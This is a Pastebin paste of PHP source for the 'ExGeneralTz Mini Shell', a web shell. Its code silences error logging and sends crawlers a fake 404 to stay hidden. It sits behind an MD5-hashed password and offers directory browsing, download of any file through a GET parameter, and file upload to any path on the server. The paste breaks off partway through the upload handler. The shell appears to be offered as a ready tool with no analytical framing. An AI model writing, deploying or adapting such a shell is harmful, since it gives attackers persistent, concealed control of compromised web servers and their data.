SHARE
TWEET

Untitled

a guest Oct 18th, 2019 90 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <?php
  2. session_start();
  3. error_reporting(0);
  4. set_time_limit(0);
  5. @set_magic_quotes_runtime(0);
  6. @clearstatcache();
  7. @ini_set('error_log',NULL);
  8. @ini_set('log_errors',0);
  9. @ini_set('max_execution_time',0);
  10. @ini_set('output_buffering',0);
  11. @ini_set('display_errors', 0);
  12.  
  13. $auth_pass = "53df01f2e4898f6d79cecdefbf354765";
  14. $color = "#00ff00";
  15. $default_action = 'FilesMan';
  16. $default_use_ajax = true;
  17. $default_charset = 'UTF-8';
  18. if(!empty($_SERVER['HTTP_USER_AGENT'])) {
  19.     $userAgents = array("Googlebot", "Slurp", "MSNBot", "PycURL", "facebookexternalhit", "ia_archiver", "crawler", "Yandex", "Rambler", "Yahoo! Slurp", "YahooSeeker", "bingbot");
  20.     if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
  21.         header('HTTP/1.0 404 Not Found');
  22.         exit;
  23.     }
  24. }
  25.  
  26. function login_shell() {
  27. ?>
  28. <html>
  29. <head>
  30. <title>{./ExGeneralTz Mini Shell}</title>
  31. <meta property="og:image"content="https://i.ibb.co/nb4k7kr/1561834293332.png"> <link rel="icon" type="image/jpg" href="https://i.ibb.co/nb4k7kr/1561834293332.png">
  32. <style type="text/css">
  33. html {
  34.     margin: 20px auto;
  35.     background: #FFFFFF;
  36.     color: green;
  37.     text-align: center;
  38. }
  39. header {
  40.     color: red;
  41.     margin: 10px auto;
  42. }
  43. input[type=password] {
  44.     width: 250px;
  45.     height: 25px;
  46.     color: black;
  47.     background: #FFFFFF;
  48.     border: 1px dotted white;
  49.     padding: 5px;
  50.     margin-left: 5px;
  51.     text-align: center;
  52. }
  53. </style>
  54. </head>
  55. <center>
  56. <header>
  57. <img src="https://i.ibb.co/nb4k7kr/1561834293332.png" border="0" width="330" height="300" alt="ExGeneral" /></a><br><br>
  58. </header>
  59. <form method="post">
  60. <input type="password" name="pass">
  61. </form>
  62. <?php
  63. exit;
  64. }
  65. if(!isset($_SESSION[md5($_SERVER['HTTP_HOST'])]))
  66.     if( empty($auth_pass) || ( isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass) ) )
  67.         $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
  68.     else
  69.         login_shell();
  70. if(isset($_GET['file']) && ($_GET['file'] != '') && ($_GET['act'] == 'download')) {
  71.     @ob_clean();
  72.     $file = $_GET['file'];
  73.     header('Content-Description: File Transfer');
  74.     header('Content-Type: application/octet-stream');
  75.     header('Content-Disposition: attachment; filename="'.basename($file).'"');
  76.     header('Expires: 0');
  77.     header('Cache-Control: must-revalidate');
  78.     header('Pragma: public');
  79.     header('Content-Length: ' . filesize($file));
  80.     readfile($file);
  81.     exit;
  82. }
  83. echo '<!DOCTYPE HTML>
  84. <html>
  85. <head>
  86. <link href="" rel="stylesheet" type="text/css">
  87. <title> {./ExGeneralTz Mini Shell} </title>
  88. <meta property="og:image"content="https://i.ibb.co/nb4k7kr/1561834293332.png"> <link rel="icon" type="image/jpg" href="https://i.ibb.co/nb4k7kr/1561834293332.png">
  89. <style>
  90. body{
  91. font-family: "Racing Sans One", Courier New;
  92. background-color: black;
  93. color:white;
  94. }
  95. #content tr:hover{
  96. background-color: gray;
  97. text-shadow:0px 0px 10px #fff;
  98. }
  99. #content .first{
  100. background-color: gray;
  101. }
  102. table{
  103. border: 1px #000000 dotted;
  104. }
  105. a{
  106. color:white;
  107. text-decoration: none;
  108. }
  109. a:hover{
  110. color:lime;
  111. text-shadow:0px 0px 10px #ffffff;
  112. }
  113. input,select,textarea{
  114. border: 1px #000000 solid;
  115. -moz-border-radius: 5px;
  116. -webkit-border-radius:5px;
  117. border-radius:5px;
  118. }
  119. </style>
  120. </head>
  121. <body>
  122. <h1><center><font color="white">./ExGeneralTz Mini Shell</font></center></h1>
  123. <table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  124. <tr><td><font color="white"> Current Dir -> </font> ';
  125. if(isset($_GET['path'])){
  126. $path = $_GET['path'];
  127. }else{
  128. $path = getcwd();
  129. }
  130. $path = str_replace('\\','/',$path);
  131. $paths = explode('/',$path);
  132.  
  133. foreach($paths as $id=>$pat){
  134. if($pat == '' && $id == 0){
  135. $a = true;
  136. echo '<a href="?path=/">/</a>';
  137. continue;
  138. }
  139. if($pat == '') continue;
  140. echo '<a href="?path=';
  141. for($i=0;$i<=$id;$i++){
  142. echo "$paths[$i]";
  143. if($i != $id) echo "/";
  144. }
  145. echo '">'.$pat.'</a>/';
  146. }
  147. echo '</td></tr><tr><td>';
  148. if(isset($_FILES['file'])){
  149. if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
  150. echo '<font color="lime">Cie Cie Filenya Berhasil Diupload >_< </font><br />';
  151. }else{
  152. echo '<font color="red">Yahh Filenya Gaga
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top